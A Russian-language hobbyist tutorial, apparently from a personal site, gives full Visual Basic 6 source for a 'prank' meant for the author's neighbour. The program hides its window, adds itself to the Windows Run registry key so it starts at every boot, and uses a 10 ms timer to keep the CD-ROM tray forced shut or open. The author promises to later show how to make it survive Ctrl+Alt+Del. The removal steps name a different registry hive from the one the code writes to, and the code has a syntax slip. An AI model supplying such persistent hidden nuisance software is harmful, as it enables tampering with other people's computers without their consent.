Закрывалка сидюка

Знаешь...Я тут подумал и решил писать статьи западло-прикольного характера :) Эта статья будет нумером один в моей коллекции.

Сегодняшний придел доведёт своим простейшим коварством твоего соседа до, как говорится, ручки (ты заметил, что каждый раз, когда я хочу написать прикол, я всегда использую в качестве мишени своего соседа :)). Да именно простейшего, т.к. в этом примере я даже не использую никаких циклов! Однако это громко сказано. Всё-таки циклические процессы происходить будут. Исполнять эти процессы будет всеми любимый таймер...

Зачатие монстра :)

Открой свой VB и создай новый проект (Standart EXE). Сразу же добавь в проект новый стандартный модуль (BAS). В этом модуле бутут объявлены функции для работы с реестром, а так же функции, необходимые для закрытия CD-ROM'a. Именно закрытия, т.к. наша прога должна не позволить соседу открыть сидюк. Ты конечно же можешь сделать так, что бы наоборот, сидюк нельзя было закрыть, попозже

Итак, что бы не возврящатся к этому потом, размести на форме таймер и назови его cd_closer. Всё, больше создание интерфейса затрагивать не будем. Теперь
, открой код твоего модуля и в него впиши следующее:

Option Explicit

Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" _
(ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, _
ByVal samDesired As Long, phkResult As Long) As Long

Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

'
Константы
Const HKEY_LOCAL_MACHINE = &H80000002
Const KEY_ALL_ACCESS = &H3F
Const REG_SZ As Long = 1

'
Для сидюка:

Public Declare Function mciSendString Lib "winmm.dll" _
Alias "mciSendStringA" _
(ByVal lpstrCommand As String, _
ByVal lpstrReturnString As String, _
ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long


Что такое Option Explicit, ты должен знать из моего урока, посвящённого пременным (первая часть), а вот дальше идут объявления для работы с реестром...Но оних в другой раз (а то времени мало... Да и не втему как-то...), а пока просто впиши это в модуль. Так же, как видно, после пояснения гласящего "для сидюка:" идут необходимые объявления для открытия/закрытия CD-ROM'а.

Всё, про модуль можно забыть, перейди к товей форме. Создай процедуру-обработчик загрузки формы (просто щёлкни на ней дважды) и впиши в неё следующее:

Private Sub Form_Load()
Dim Result As Long
Dim Retval As Long
Dim sPath As String

' Определяем путь к программе
If Right(App.Path, 1) = "\" Then
sPath = App.Path & App.EXEName & ".exe"
Else
sPath = App.Path & "\" & App.EXEName & ".exe"
End If

' Манипулятор ключа

Retval = RegOpenKeyEx(HKEY_LOCAL_MACHINE "Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_ALL_ACCESS, Result)

' Записываем в автозагрузку
RegSetValueEx Result, App.Title, 0, REG_SZ, ByVal sPath, Len(sPath)

RegCloseKey Result ' Закрытие ключа

End Sub

Вообщем половину должно быть понятно из объяснений (поворяю, я скоро напишу статью, в которой мы подробно рассмотрим работу с реестром средствами API). Таким образом, при первом запуске эта прога становится сущим геморроем :) Она будит появляться при каждой загрузке винды до тех пор, пока юзверь (он же сосед) не залезет в реестр и не вышвырнет эту прогу оттуда (есть и другие методы, например, через программу настройки системы, но, как правило, про эти действия просто забывают)

Теперь только осталось создать (я имею в виду писанину) обработчик события таймера. Он выглядит так:

Call mciSendString("Set CDAudio Door Closed Wait", 0&, 0&, 0&)

Писать больше не надо, однако надо ещё кое-чё подправить

Последние штрихи

Теперь, когда основная часть создания этой заподлянки пройдена, необходимо подредактировать некоторые свойства таймера и формы. Ну, во-первых, интервал (interval) таймера установи равным 10 (иначе ничего работать не будет!), во-вторых, необходимо сделать форму невидимой, поэтому установи свойство Visible в значение False.

Всё! Прстейшая заподлянка готова! Ну, должен признать, у этой программы один недостаток - её можно вытащить с помощью этого чёртового сочетания клавиш - CTRL+ALT+DEL. Как от этого избавится, я напишу в другой раз...

Всё наоборот

Ну а если ты хочешь, чтобы сидюк всё время открывался, то впиши в обработчик события таймера следующее:

Call mciSendString("Set CDAudio Door Open Wait", 0&, 0&, 0&)

Как избавиться от закрывалки?

Да запросто...(к сожалению :)) Ну, как я уже сказал, эту прогу легко выбить сочетанием специальных клавиш (Ctrl+Alt+Del), одноако, при загрузке она снова возобновит свои козни (при этом загадочно будет мигать светодиод, являющийся индикатором работы винта :)) Поэтому, так просто, как это на первый взгляд кажется (ЛАМЕРУ-У-У-У :)), теюе придётся либо
     A) Залезть в сведения о системе, там нажать Сервис->Программа настройки системы и найти там вкладку "Автозагрузка" и в появившимся списке снять галочку окло имени нашей проги, либо
     B) Залезть в редактор рееста по адресу HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\, найти имя своей проги и удалить этот ключ из реестра.

Hosted by uCoz